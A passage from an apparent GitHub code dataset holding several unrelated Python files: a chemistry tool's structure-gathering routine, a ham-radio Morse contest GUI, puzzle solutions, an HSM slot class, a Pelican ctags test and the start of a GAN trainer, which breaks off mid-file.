dctc[ctc]._mformu\n itcs = dctc[ctc]._itcs\n ch = dctc[ctc]._ch\n mtp = dctc[ctc]._mtp\n sptype = dctc[ctc]._type\n diso = dctc[ctc]._diso\n if diso == {}:\n isostr = \"none\"\n else:\n try : isostr = \" \".join(diso[\"*\"])\n except: isostr = \"yes\"\n # count conformers\n num1 = len(itcs)\n num2 = int(sum([weight for itc,weight in itcs]))\n # variable to string\n ncnfs = \"%i (%i)\"%(num2,num1)\n ch = \"%i\"%ch\n mtp = \"%i\"%mtp\n nif = \"%i\"%sptype\n # fill strings\n ltable = [\"%%-%is\"%ml1%ctc,\"%%-%is\"%ml2%mformu,nif,ch,mtp,ncnfs,isostr]\n ltable = [fill_string(string,ml) for ml,string in zip(ll,ltable)]\n # add to table\n ltable = \" \"+\" | \".join(ltable)+\" \"\n stable += ib+ltable+\"\\n\"\n if sptype == 0: numSP0 += num1; numSP0all += num2\n elif sptype == 1: numSP1 += num1; numSP1all += num2\n else : numSPX += num1; numSPXall += num2\n stable += ib+divis+\"\\n\"\n stable += ib+\" * num(minimum) = %i (%i)\\n\"%(numSP0all,numSP0)\n stable += ib+\" * num(saddle ) = %i (%i)\\n\"%(numSP1all,numSP1)\n print(stable)\n#===============================================================#\n\n\n\n\n\n\n#===============================================================#\ndef main(_,__):\n\n # Assert folder with electronic-structure files exists!\n if not os.path.exists(PN.UFOLDER):\n print(\" - %s: folder NOT found!\"%PN.UFOLDER)\n print(\"\")\n return\n\n # list user files\n ufiles,ufolders,all_ufiles = get_ufiles_ufolders()\n\n # Read tracking & pif.struc\n dtrack = RW.read_track()[0]\n (dctc,dimasses) = RW.read_ctc()[0]\n\n # dictionary with isotopic masses\n if dimasses == {}: dimasses = dpt_im\n\n # deal with removed files (if any) - this may happen when executed more than once\n dtrack,dctc = deal_removed_ufiles(all_ufiles,dtrack,dctc)\n\n # remove non-listed gts files\n deal_nonlisted_gts(dtrack)\n\n # clean-up dctc\n dctc = cleanup_dctc(dctc)\n\n # Folder creation\n for folder in [PN.DIR1,PN.DIR5]:\n if not os.path.exists(folder): os.mkdir(folder)\n\n # Deal with CTCs defined through single files\n for esfile in ufiles:\n dtrack,dctc = deal_with_file(esfile,dtrack,dctc)\n\n # Deal with CTCs defined through folders\n for folder in ufolders:\n dtrack,dctc = deal_with_folder(folder,dtrack,dctc)\n\n # print summary\n print(\" - SUMMARY\")\n ls_struc(dctc)\n\n # (re)write file: tracking\n if dtrack != {}:\n print(\" - Writing/Updating information in '%s'\"%PN.IFILE0)\n RW.write_track(dtrack)\n\n # (re)write file: pif.struc\n if dctc != {}:\n print(\" - Writing/Updating information in '%s'\"%PN.IFILE1)\n RW.write_ctc(dctc,dimasses)\n\n print_warnings()\n#===============================================================#\n\n\n","repo_name":"cathedralpkg/Pilgrim","sub_path":"src/modpilgrim/optGATHER.py","file_name":"optGATHER.py","file_ext":"py","file_size_in_byte":26297,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"15198673045","text":"#!/usr/local/bin/python3\n\n# MikeRunner.py\n#\n# Jan 24th 2021 - (c) Michele Giugliano\n\n#------------------------------------------------------------------------------\n# CHANGE THESE SETTINGS ACCORDING TO YOUR SETUP AND PREFS\n#------------------------------------------------------------------------------\nlogfile_name = '/Users/michi/Desktop/AUTO_DELETE/ciao.txt';\n#\nmycallsign = 'iv3ifz'\ncqmessage = 'cq iv3ifz test' \nwpm_default = '25'\nwpm_5nn = '25'\t\t # This requires the the VOX is on, so that the \n\t\t\t\t\t\t\t # radio is currently really transmitting. If u\n\t\t\t\t\t\t\t # are just testing beware of artifacts... (see send())\nsent_number = '001' # Starting string, containing the NR to be sent.\nsent_rst = '5NN' # Default sent RST report...\n#------------------------------------------------------------------------------\n#------------------------------------------------------------------------------\n#------------------------------------------------------------------------------\n#------------------------------------------------------------------------------\n#------------------------------------------------------------------------------\n#------------------------------------------------------------------------------\n\nNAME = 'MikeRunner.py'\nHEIGHT = 3 # height of the buttons\nWIDTH = 5 # width of the buttons\n\nimport os as os # Useful for inferring log file \"basename\"\nfrom datetime import datetime # Required to get the current UTC time\nfrom tkinter import * # Imports everything from the tkinter lib\nfrom tkinter.filedialog import asksaveasfilename\nimport tkinter.font as font\n\nfrom CWvCAT import * # Contains serial CAT control primitives\n\nser = initSerialPort(COMPORT) # Let's open the serial port...\n\nexec(open(\"./MikeRunner_helper.py\").read()) # All the callbacks are defined hr.\n\n#------------------------------------------------------------------------------\nmaster = Tk(className='MikeRunner - v 0.01') # It creates the main GUI window.\n#master.geometry(\"425x290\") # It sets size only.\ncenter_window(425, 290) # It sets both position and size.\nmaster.resizable(False, False) # It prevents from resizable.\n\n#------------------------------------------------------------------------------\nfreq = StringVar() # Contains the working frequency [kHz]\nwpm = StringVar() # Contains the word-per-minute setting\nmynumber = StringVar() # Contains the sent NR (incrementing at every QSO...)\ncallsign = StringVar() # Contains the received corresponder's call\nrst = StringVar() # Contains the received RST\nnr = StringVar() # Contains the received NR\n#------------------------------------------------------------------------------\n# DEFAULT VALUES\n#------------------------------------------------------------------------------\nwpm.set(wpm_default)\nmynumber.set(sent_number)\n#------------------------------------------------------------------------------\n\nmyFont0 = font.Font(family='Helvetica', size=15, weight=\"bold\")\nmyFont1 = font.Font(family='Helvetica', size=25, weight=\"bold\")\nmyFont2 = font.Font(family='Helvetica', size=30, weight=\"bold\")\n\n# CREATION AND DEFINITION OF THE GUI OBJECTS\ncanvas = Canvas(master, background=\"black\")\nbtn_fr = Frame(master, background=\"black\")\n\ncanvas.pack(side=\"top\", fill=\"both\", expand=False)\nbtn_fr.pack(side=\"bottom\", fill=\"both\", expand=False)\n\n#------------------------------------------------------------------------------\n# ENTRY FIELDS CREATION AND ATTRIBUTES\n#------------------------------------------------------------------------------\n# RECEIVED CALLSIGN\n# RECEIVED RST (automatically filled it, but modifiable on-the-fly, if needed)\n# RECEIVED NR\nCL = Entry(canvas, textvariable=callsign, font=myFont2, justify=\"left\", width=14, bg=\"white\", fg=\"black\", bd=3, highlightcolor=\"red\")\nRST = Entry(canvas, textvariable=rst, font=myFont2, justify=\"left\", width=4, bg=\"white\", fg=\"black\", bd=3, highlightcolor=\"red\")\nNRN = Entry(canvas, textvariable=nr, font=myFont2, justify=\"left\", width=4, bg=\"white\", fg=\"black\", bd=3, highlightcolor=\"red\")\n#\n# WORD-PER-MINUTE SPEED OF KEYING\n# VALUE OF THE \"SENT NR\" TO BE NEXT SENT\nWPM = Entry(btn_fr, textvariable=wpm, font=myFont0, justify=\"center\", width=1, bg=\"white\", fg=\"black\", bd=3, highlightcolor=\"red\")\nMYNR = Entry(btn_fr, textvariable=mynumber, font=myFont0, justify=\"center\", width=1, bg=\"white\", fg=\"black\", bd=3, highlightcolor=\"red\")\n#------------------------------------------------------------------------------\n\n#------------------------------------------------------------------------------\n# BUTTONS CREATION AND ATTRIBUTES \n#------------------------------------------------------------------------------\nbCQ = Button(btn_fr, text = 'CQ', command = CQ, height = HEIGHT, width = WIDTH, font=myFont1)\nbNR = Button(btn_fr, text = '#', command = NR, height = HEIGHT, width = WIDTH, font=myFont1)\nbTU = Button(btn_fr, text = 'TU', command = TU, height = HEIGHT, width = WIDTH, font=myFont1)\nbMY = Button(btn_fr, text = '', command = MY, height = HEIGHT, width = WIDTH, font=myFont1)\nbHIS = Button(btn_fr, text = '', command = HIS, height = HEIGHT, width = WIDTH, font=myFont1)\nbB4 = Button(btn_fr, text = 'B4', command = B4, height = HEIGHT, width = WIDTH, font=myFont1)\nbQM = Button(btn_fr, text = '?', command = QM, height = HEIGHT, width = WIDTH, font=myFont1)\nbNIL = Button(btn_fr, text = 'NIL', command = NIL, height = HEIGHT, width = WIDTH, font=myFont1)\nbDE = Button(btn_fr, text = 'DE ', command = DE, height = HEIGHT-2, width = WIDTH, font=myFont0)\nbFILE= Button(btn_fr, text = 'Log file', command = LOGF, height = HEIGHT-2, width = WIDTH, font=myFont0)\n#\nbFILE['text'] = os.path.basename(logfile_name)\n#------------------------------------------------------------------------------\n\n#------------------------------------------------------------------------------\n# LAYOUT OF EACH ELEMENT OF THE GUI \n#------------------------------------------------------------------------------\nCL.grid( row=1, column=1, sticky=\"ew\")\nRST.grid( row=1, column=2, sticky=\"ew\")\nNRN.grid( row=1, column=3, sticky=\"ew\")\n#\nbCQ.grid( row=0, column=1, sticky=\"ew\")\nbNR.grid( row=0, column=2, sticky=\"ew\")\nbTU.grid( row=0, column=3, sticky=\"ew\")\nbMY.grid( row=0, column=4, sticky=\"ew\")\n#\nbHIS.grid(row=1, column=1, sticky=\"ew\")\nbB4.grid( row=1, column=2, sticky=\"ew\")\nbQM.grid( row=1, column=3, sticky=\"ew\")\nbNIL.grid(row=1, column=4, sticky=\"ew\")\n#\nbFILE.grid(row=2, column=1, sticky=\"ew\")\nWPM.grid(row=2, column=2, sticky=\"ew\")\nMYNR.grid(row=2, column=3, sticky=\"ew\")\nbDE.grid(row=2, column=4, sticky=\"ew\")\n#------------------------------------------------------------------------------\n\n\n#------------------------------------------------------------------------------\n# KEYBOARD SHORT CUT\n#------------------------------------------------------------------------------\nmaster.bind('', CQ) #binds 'F1'\nmaster.bind('', NR) #binds 'F1'\nmaster.bind('', TU) #binds 'F1'\nmaster.bind('', MY) #binds 'F1'\n\nmaster.bind('', HIS) #binds 'F1'\nmaster.bind('', B4) #binds 'F1'\nmaster.bind('', QM) #binds 'F1'\nmaster.bind('', NIL) #binds 'F1'\nmaster.bind('', halt_sending)\n#------------------------------------------------------------------------------\n\n\n#------------------------------------------------------------------------------\n# DESIRED ENTRY-FIELDS RESPONSE TO PRESSING ENTER OR TAB\n#------------------------------------------------------------------------------\nCL.bind('', cl_enter) # When focused on the received callsign, pressing\n # Enter initiate the exchange of RST and NR\nNRN.bind('', focus_rst) # When focused on the received NR, pressing Tab \n # focuses back the RST entry field.\nNRN.bind('', logentry) # When focused on the received NR, pressing Enter\n # completes the exchange and logs the QSO on disk. \n#\nCL.focus_set() # At start-up, focus the callsign entry field..\n#------------------------------------------------------------------------------\n\nmaster.mainloop()\n\n","repo_name":"mgiugliano/CWviaCAT","sub_path":"GUI/MikeRunner.py","file_name":"MikeRunner.py","file_ext":"py","file_size_in_byte":8282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6590823686","text":"from functools import reduce\nfrom collections import defaultdict\nfrom itertools import product, combinations, permutations\nfrom typing import List\n\n# strings\nlines = [l.strip() for l in open('input') if l]\nvalues = [eval(v) for v in lines]\n\n\ndef extract_definition_list(sf_number, depth=1):\n def_list = []\n\n [left, right] = sf_number\n\n if type(left) == int:\n def_list.append({\n 'val': left,\n 'depth': depth\n })\n else:\n def_list += extract_definition_list(left, depth + 1)\n\n if type(right) == int:\n def_list.append({\n 'val': right,\n 'depth': depth\n })\n else:\n def_list += extract_definition_list(right, depth + 1)\n\n return def_list\n\n\ndef reduce_num(num: List) -> List:\n changed = True\n\n while changed:\n changed = False\n\n # explode\n i = 0\n while i < len(num):\n entry = num[i]\n\n if entry['depth'] > 4:\n changed = True\n\n entry_l_val = entry['val']\n entry_r_val = num[i + 1]['val']\n entry_depth = entry['depth']\n\n num.pop(i + 1)\n entry['val'] = 0\n entry['depth'] -= 1\n\n if i > 0:\n num[i - 1]['val'] += entry_l_val\n\n if i < len (num) - 1:\n num[i + 1]['val'] += entry_r_val\n\n i += 1\n\n # split\n i = 0\n while i < len(num):\n entry = num[i]\n if entry['val'] > 9:\n changed = True\n\n entry_val = entry['val']\n entry_depth = entry['depth']\n split_entries = [\n {\n 'val': int(entry_val / 2),\n 'depth': entry_depth + 1\n },\n {\n 'val': int(entry_val / 2) + entry_val % 2,\n 'depth': entry_depth + 1\n }\n ]\n num = num[:i] + split_entries + num[i + 1:]\n break\n i += 1\n\n return num\n\n\ndef get_score(num: List):\n while len(num) > 1:\n for i in range(len(num) - 1):\n if num[i]['depth'] == num[i + 1]['depth']:\n left = num[i]\n right = num[i+1]\n num.pop(i)\n num.pop(i)\n\n sum_val = left['val'] * 3 + right['val'] * 2\n num = num[:i] + [{\n 'depth': left['depth'] - 1,\n 'val': sum_val\n }] + num[i:]\n break\n\n return num[0]['val']\n\n# parts\ndef part1():\n result = extract_definition_list(values[0])\n\n for value in values[1:]:\n result += extract_definition_list(value)\n\n for val in result:\n val['depth'] += 1\n\n result = reduce_num(result)\n\n return get_score(result)\n\ndef part2():\n biggest_score = 0\n for i in range(len(values)):\n for j in range(len(values)):\n if i == j:\n continue\n num = extract_definition_list(values[i])\n num += extract_definition_list(values[j])\n\n for val in num:\n val['depth'] += 1\n\n num = reduce_num(num)\n score = get_score(num)\n\n biggest_score = max([biggest_score, score])\n\n return biggest_score\n\nprint('Part 1: ', part1())\nprint('Part 2: ', part2())\n","repo_name":"victorkirov/aoc","sub_path":"2021/18/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42090019312","text":"from itertools import combinations\nfrom collections import Counter\n\ndef solution(orders, course):\n answer = []\n for c in course:\n temp = []\n for order in orders:\n comb = combinations(list(sorted(order)), c)\n temp += comb\n counter = Counter(temp)\n if len(counter) != 0 and max(counter.values()) != 1:\n answer += [''.join(f) for f in counter if counter[f] == max(counter.values())]\n\n return sorted(answer)\n\n\nprint(solution([\"ABCFG\", \"AC\", \"CDE\", \"ACDE\", \"BCFG\", \"ACDEH\"], [2,3,4]))\nprint(solution([\"ABCDE\", \"AB\", \"CD\", \"ADE\", \"XYZ\", \"XYZ\", \"ACD\"], [2,3,5]))\nprint(solution([\"XYZ\", \"XWY\", \"WXA\"], [2,3,4]))","repo_name":"subinmun1997/my_python-for-coding-test","sub_path":"BAEKJOON/코테재활/프로그래머스 재활/Lv2/메뉴 리뉴얼.py","file_name":"메뉴 리뉴얼.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"35936568930","text":"from os import linesep\nfrom pyhsm.hsmerror import HsmError\n\n\nclass HsmSlot:\n \"\"\"\n HSM slot object class for holding \n information about the HSM slots on \n the host.\n \"\"\"\n\n FIELD_DELIMITER = \"|\"\n NUMBER_OF_FIELDS = 8\n\n def __init__(self, line):\n # split the delimited line data into a list\n fields = line.split(self.FIELD_DELIMITER)\n # verify the number of fields we got back is as expected\n if len(fields) != self.NUMBER_OF_FIELDS:\n raise HsmError(\"unexpected number of fields to parse\")\n # set the object values\n self.slotNumber = fields[0]\n self.label = fields[1]\n self.manufacturer = fields[2]\n self.model = fields[3]\n self.serialNumber = fields[4].rstrip()\n self.sessionCount = fields[5]\n self.hardwareVersion = fields[6]\n self.firmwareVersion = fields[7]\n \n def __repr__(self):\n return \":{0}\".format(self.slotNumber)\n \n def details(self):\n s = \"\"\n return s\n \n def to_string(self):\n \"\"\"\n Returns a print formatted string for all the HSM slot information.\n \"\"\"\n s = \"slotNumber: {0}{1}\".format(self.slotNumber, linesep)\n s += \"label: {0}{1}\".format(self.label, linesep)\n s += \"manufacturer: {0}{1}\".format(self.manufacturer, linesep)\n s += \"model: {0}{1}\".format(self.model, linesep)\n s += \"serialNumber: {0}{1}\".format(self.serialNumber, linesep)\n s += \"sessionCount: {0}{1}\".format(self.sessionCount, linesep)\n s += \"hardwareVersion: {0}{1}\".format(self.hardwareVersion, linesep)\n s += \"firmwareVersion: {0}{1}\".format(self.firmwareVersion, linesep)\n return s\n \n def __str__(self):\n return \":{0}\".format(self.slotNumber)\n\n","repo_name":"bentonstark/py-hsm","sub_path":"pyhsm/hsmslot.py","file_name":"hsmslot.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"37"} +{"seq_id":"16865292228","text":"from typing import List\n\n\nclass Solution:\n def wordBreak(self, s: str, wordDict: List[str]) -> bool:\n # 深度优先遍历+备忘录剪枝\n self.global_res = False # 最终结果\n memo = set() # 备忘录, 存放无法进行拆分的子串start索引\n n = len(s)\n\n def dfs(start: int) -> bool:\n if self.global_res:\n return True\n\n if start == n: # 可以拆分\n self.global_res = True\n return True\n\n if start in memo: # 查找备忘录,如果找到, 剪枝\n return False\n\n inner_res = False\n for i in range(start, n): # 从start开始遍历子串的前i个字符\n if s[start:i+1] in wordDict:\n inner_res = dfs(i+1) or inner_res # 更新本次递归结果\n\n if not inner_res: # 本次递归结果为False, 就将start加��到memo中\n memo.add(start)\n\n return inner_res\n\n dfs(0)\n\n return self.global_res\n","repo_name":"tangxyw/LeetCode","sub_path":"python/Traceback/[139]单词拆分.py","file_name":"[139]单词拆分.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"36413519540","text":"# -*- coding: utf-8 -*-\nimport os, shutil\n\nfrom pelican.generators import ArticlesGenerator\nfrom pelican.tests.support import get_settings, unittest\nfrom pelican.writers import Writer\n\nfrom ctags_generator import generate_ctags\n\n\nCUR_DIR = os.path.dirname(__file__)\nTEST_CONTENT_DIR = os.path.join(CUR_DIR, 'test_content')\n\n\nclass CtagsGeneratorTest(unittest.TestCase):\n\n def test_generate_ctags(self):\n settings = get_settings(filenames={})\n settings['GENERATE_CTAGS'] = True\n\n context = settings.copy()\n context['generated_content'] = dict()\n context['static_links'] = set()\n generator = ArticlesGenerator(\n context=context, settings=settings,\n path=TEST_CONTENT_DIR, theme=settings['THEME'], output_path=TEST_CONTENT_DIR)\n generator.generate_context()\n\n writer = Writer(TEST_CONTENT_DIR, settings=settings)\n generate_ctags(generator, writer)\n\n output_path = os.path.join(TEST_CONTENT_DIR, 'tags')\n self.assertTrue(os.path.exists(output_path))\n\n try:\n # output content is correct\n with open(output_path, 'r') as output_file:\n ctags = [l.split('\\t')[0] for l in output_file.readlines()]\n self.assertEqual(['bar', 'bar', 'foo', 'foo', 'foobar', 'foobar', 'マック', 'パイソン'], ctags)\n finally:\n os.remove(output_path)\n","repo_name":"getpelican/pelican-plugins","sub_path":"ctags_generator/test_ctags_generator.py","file_name":"test_ctags_generator.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":1367,"dataset":"github-code","pt":"37"} +{"seq_id":"15437814048","text":"from __future__ import print_function\nfrom six.moves import range\n\nimport torch.backends.cudnn as cudnn\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.optim as optim\nimport torchvision.utils as vutils\nimport numpy as np\nimport os\nimport time\nfrom PIL import Image, ImageFont, ImageDraw\nfrom copy import deepcopy\n\nfrom miscc.config import cfg\nfrom miscc.utils import mkdir_p\n\nfrom tensorboard import summary\nfrom tensorboard import FileWriter\n\nfrom model import G_NET, D_NET64, D_NET128, D_NET256, D_NET512, D_NET1024, INCEPTION_V3\n\n\n\n# ################## Shared functions ###################\ndef compute_mean_covariance(img):\n batch_size = img.size(0)\n channel_num = img.size(1)\n height = img.size(2)\n width = img.size(3)\n num_pixels = height * width\n\n # batch_size * channel_num * 1 * 1\n mu = img.mean(2, keepdim=True).mean(3, keepdim=True)\n\n # batch_size * channel_num * num_pixels\n img_hat = img - mu.expand_as(img)\n img_hat = img_hat.view(batch_size, channel_num, num_pixels)\n # batch_size * num_pixels * channel_num\n img_hat_transpose = img_hat.transpose(1, 2)\n # batch_size * channel_num * channel_num\n covariance = torch.bmm(img_hat, img_hat_transpose)\n covariance = covariance / num_pixels\n\n return mu, covariance\n\n\ndef KL_loss(mu, logvar):\n # -0.5 * sum(1 + log(sigma^2) - mu^2 - sigma^2)\n KLD_element = mu.pow(2).add_(logvar.exp()).mul_(-1).add_(1).add_(logvar)\n KLD = torch.mean(KLD_element).mul_(-0.5)\n return KLD\n\n\ndef weights_init(m):\n classname = m.__class__.__name__\n if classname.find('Conv') != -1:\n nn.init.orthogonal(m.weight.data, 1.0)\n elif classname.find('BatchNorm') != -1:\n m.weight.data.normal_(1.0, 0.02)\n m.bias.data.fill_(0)\n elif classname.find('Linear') != -1:\n nn.init.orthogonal(m.weight.data, 1.0)\n if m.bias is not None:\n m.bias.data.fill_(0.0)\n\n\ndef load_params(model, new_param):\n for p, new_p in zip(model.parameters(), new_param):\n p.data.copy_(new_p)\n\n\ndef copy_G_params(model):\n flatten = deepcopy(list(p.data for p in model.parameters()))\n return flatten\n\n\ndef compute_inception_score(predictions, num_splits=1):\n # print('predictions', predictions.shape)\n scores = []\n for i in range(num_splits):\n istart = i * predictions.shape[0] // num_splits\n iend = (i + 1) * predictions.shape[0] // num_splits\n part = predictions[istart:iend, :]\n kl = part * \\\n (np.log(part) - np.log(np.expand_dims(np.mean(part, 0), 0)))\n kl = np.mean(np.sum(kl, 1))\n scores.append(np.exp(kl))\n return np.mean(scores), np.std(scores)\n\n\ndef negative_log_posterior_probability(predictions, num_splits=1):\n # print('predictions', predictions.shape)\n scores = []\n for i in range(num_splits):\n istart = i * predictions.shape[0] // num_splits\n iend = (i + 1) * predictions.shape[0] // num_splits\n part = predictions[istart:iend, :]\n result = -1. * np.log(np.max(part, 1))\n result = np.mean(result)\n scores.append(result)\n return np.mean(scores), np.std(scores)\n\n\ndef load_network(gpus):\n netG = G_NET()\n netG.apply(weights_init)\n netG = torch.nn.DataParallel(netG, device_ids=gpus)\n print(netG)\n\n netsD = []\n if cfg.TREE.BRANCH_NUM > 0:\n netsD.append(D_NET64())\n if cfg.TREE.BRANCH_NUM > 1:\n netsD.append(D_NET128())\n if cfg.TREE.BRANCH_NUM > 2:\n netsD.append(D_NET256())\n if cfg.TREE.BRANCH_NUM > 3:\n netsD.append(D_NET512())\n if cfg.TREE.BRANCH_NUM > 4:\n netsD.append(D_NET1024())\n # TODO: if cfg.TREE.BRANCH_NUM > 5:\n\n for i in range(len(netsD)):\n netsD[i].apply(weights_init)\n netsD[i] = torch.nn.DataParallel(netsD[i], device_ids=gpus)\n # print(netsD[i])\n print('# of netsD', len(netsD))\n\n count = 0\n if cfg.TRAIN.NET_G != '':\n state_dict = torch.load(cfg.TRAIN.NET_G)\n netG.load_state_dict(state_dict)\n print('Load ', cfg.TRAIN.NET_G)\n\n istart = cfg.TRAIN.NET_G.rfind('_') + 1\n iend = cfg.TRAIN.NET_G.rfind('.')\n count = cfg.TRAIN.NET_G[istart:iend]\n count = int(count) + 1\n\n if cfg.TRAIN.NET_D != '':\n for i in range(len(netsD)):\n print('Load %s_%d.pth' % (cfg.TRAIN.NET_D, i))\n state_dict = torch.load('%s%d.pth' % (cfg.TRAIN.NET_D, i))\n netsD[i].load_state_dict(state_dict)\n\n inception_model = INCEPTION_V3()\n\n if cfg.CUDA:\n netG.cuda()\n for i in range(len(netsD)):\n netsD[i].cuda()\n inception_model = inception_model.cuda()\n inception_model.eval()\n\n return netG, netsD, len(netsD), inception_model, count\n\n\ndef define_optimizers(netG, netsD):\n optimizersD = []\n num_Ds = len(netsD)\n for i in range(num_Ds):\n opt = optim.Adam(netsD[i].parameters(),\n lr=cfg.TRAIN.DISCRIMINATOR_LR,\n betas=(0.5, 0.999))\n optimizersD.append(opt)\n\n # G_opt_paras = []\n # for p in netG.parameters():\n # if p.requires_grad:\n # G_opt_paras.append(p)\n optimizerG = optim.Adam(netG.parameters(),\n lr=cfg.TRAIN.GENERATOR_LR,\n betas=(0.5, 0.999))\n return optimizerG, optimizersD\n\n\ndef save_model(netG, avg_param_G, netsD, epoch, model_dir):\n load_params(netG, avg_param_G)\n torch.save(\n netG.state_dict(),\n '%s/netG_%d.pth' % (model_dir, epoch))\n for i in range(len(netsD)):\n netD = netsD[i]\n torch.save(\n netD.state_dict(),\n '%s/netD%d.pth' % (model_dir, i))\n print('Save G/Ds models.')\n\n\ndef save_img_results(imgs_tcpu, fake_imgs, num_imgs,\n count, image_dir, summary_writer):\n num = cfg.TRAIN.VIS_COUNT\n\n # The range of real_img (i.e., self.imgs_tcpu[i][0:num])\n # is changed to [0, 1] by function vutils.save_image\n real_img = imgs_tcpu[-1][0:num]\n vutils.save_image(\n real_img, '%s/real_samples.png' % (image_dir),\n normalize=True)\n real_img_set = vutils.make_grid(real_img).numpy()\n real_img_set = np.transpose(real_img_set, (1, 2, 0))\n real_img_set = real_img_set * 255\n real_img_set = real_img_set.astype(np.uint8)\n sup_real_img = summary.image('real_img', real_img_set)\n summary_writer.add_summary(sup_real_img, count)\n\n for i in range(num_imgs):\n fake_img = fake_imgs[i][0:num]\n # The range of fake_img.data (i.e., self.fake_imgs[i][0:num])\n # is still [-1. 1]...\n vutils.save_image(\n fake_img.data, '%s/count_%09d_fake_samples%d.png' %\n (image_dir, count, i), normalize=True)\n\n fake_img_set = vutils.make_grid(fake_img.data).cpu().numpy()\n\n fake_img_set = np.transpose(fake_img_set, (1, 2, 0))\n fake_img_set = (fake_img_set + 1) * 255 / 2\n fake_img_set = fake_img_set.astype(np.uint8)\n\n sup_fake_img = summary.image('fake_img%d' % i, fake_img_set)\n summary_writer.add_summary(sup_fake_img, count)\n summary_writer.flush()\n\n\n# ################## For uncondional tasks ######################### #\nclass GANTrainer(object):\n def __init__(self, output_dir, data_loader, imsize):\n if cfg.TRAIN.FLAG:\n self.model_dir = os.path.join(output_dir, 'Model')\n self.image_dir = os.path.join(output_dir, 'Image')\n self.log_dir = os.path.join(output_dir, 'Log')\n mkdir_p(self.model_dir)\n mkdir_p(self.image_dir)\n mkdir_p(self.log_dir)\n self.summary_writer = FileWriter(self.log_dir)\n\n s_gpus = cfg.GPU_ID.split(',')\n self.gpus = [int(ix) for ix in s_gpus]\n self.num_gpus = len(self.gpus)\n torch.cuda.set_device(self.gpus[0])\n cudnn.benchmark = True\n\n self.batch_size = cfg.TRAIN.BATCH_SIZE * self.num_gpus\n self.max_epoch = cfg.TRAIN.MAX_EPOCH\n self.snapshot_interval = cfg.TRAIN.SNAPSHOT_INTERVAL\n\n self.data_loader = data_loader\n self.num_batches = len(self.data_loader)\n\n def prepare_data(self, data):\n imgs = data\n\n vimgs = []\n for i in range(self.num_Ds):\n if cfg.CUDA:\n vimgs.append(Variable(imgs[i]).cuda())\n else:\n vimgs.append(Variable(imgs[i]))\n\n return imgs, vimgs\n\n def train_Dnet(self, idx, count):\n flag = count % 100\n batch_size = self.real_imgs[0].size(0)\n criterion = self.criterion\n\n netD, optD = self.netsD[idx], self.optimizersD[idx]\n real_imgs = self.real_imgs[idx]\n fake_imgs = self.fake_imgs[idx]\n real_labels = self.real_labels[:batch_size]\n fake_labels = self.fake_labels[:batch_size]\n #\n netD.zero_grad()\n #\n real_logits = netD(real_imgs)\n fake_logits = netD(fake_imgs.detach())\n #\n errD_real = criterion(real_logits[0], real_labels)\n errD_fake = criterion(fake_logits[0], fake_labels)\n #\n errD = errD_real + errD_fake\n errD.backward()\n # update parameters\n optD.step()\n # log\n if flag == 0:\n summary_D = summary.scalar('D_loss%d' % idx, errD.data[0])\n self.summary_writer.add_summary(summary_D, count)\n return errD\n\n def train_Gnet(self, count):\n self.netG.zero_grad()\n errG_total = 0\n flag = count % 100\n batch_size = self.real_imgs[0].size(0)\n criterion = self.criterion\n real_labels = self.real_labels[:batch_size]\n\n for i in range(self.num_Ds):\n netD = self.netsD[i]\n outputs = netD(self.fake_imgs[i])\n errG = criterion(outputs[0], real_labels)\n # errG = self.stage_coeff[i] * errG\n errG_total = errG_total + errG\n if flag == 0:\n summary_G = summary.scalar('G_loss%d' % i, errG.data[0])\n self.summary_writer.add_summary(summary_G, count)\n\n # Compute color preserve losses\n if cfg.TRAIN.COEFF.COLOR_LOSS > 0:\n if self.num_Ds > 1:\n mu1, covariance1 = compute_mean_covariance(self.fake_imgs[-1])\n mu2, covariance2 = \\\n compute_mean_covariance(self.fake_imgs[-2].detach())\n like_mu2 = cfg.TRAIN.COEFF.COLOR_LOSS * nn.MSELoss()(mu1, mu2)\n like_cov2 = cfg.TRAIN.COEFF.COLOR_LOSS * 5 * \\\n nn.MSELoss()(covariance1, covariance2)\n errG_total = errG_total + like_mu2 + like_cov2\n if self.num_Ds > 2:\n mu1, covariance1 = compute_mean_covariance(self.fake_imgs[-2])\n mu2, covariance2 = \\\n compute_mean_covariance(self.fake_imgs[-3].detach())\n like_mu1 = cfg.TRAIN.COEFF.COLOR_LOSS * nn.MSELoss()(mu1, mu2)\n like_cov1 = cfg.TRAIN.COEFF.COLOR_LOSS * 5 * \\\n nn.MSELoss()(covariance1, covariance2)\n errG_total = errG_total + like_mu1 + like_cov1\n\n if flag == 0:\n sum_mu = summary.scalar('G_like_mu2', like_mu2.data[0])\n self.summary_writer.add_summary(sum_mu, count)\n sum_cov = summary.scalar('G_like_cov2', like_cov2.data[0])\n self.summary_writer.add_summary(sum_cov, count)\n if self.num_Ds > 2:\n sum_mu = summary.scalar('G_like_mu1', like_mu1.data[0])\n self.summary_writer.add_summary(sum_mu, count)\n sum_cov = summary.scalar('G_like_cov1', like_cov1.data[0])\n self.summary_writer.add_summary(sum_cov, count)\n\n errG_total.backward()\n self.optimizerG.step()\n return errG_total\n\n def train(self):\n self.netG, self.netsD, self.num_Ds,\\\n self.inception_model, start_count = load_network(self.gpus)\n avg_param_G = copy_G_params(self.netG)\n\n self.optimizerG, self.optimizersD = \\\n define_optimizers(self.netG, self.netsD)\n\n self.criterion = nn.BCELoss()\n\n self.real_labels = \\\n Variable(torch.FloatTensor(self.batch_size).fill_(1))\n self.fake_labels = \\\n Variable(torch.FloatTensor(self.batch_size).fill_(0))\n nz = cfg.GAN.Z_DIM\n noise = Variable(torch.FloatTensor(self.batch_size, nz))\n fixed_noise = \\\n Variable(torch.FloatTensor(self.batch_size, nz).normal_(0, 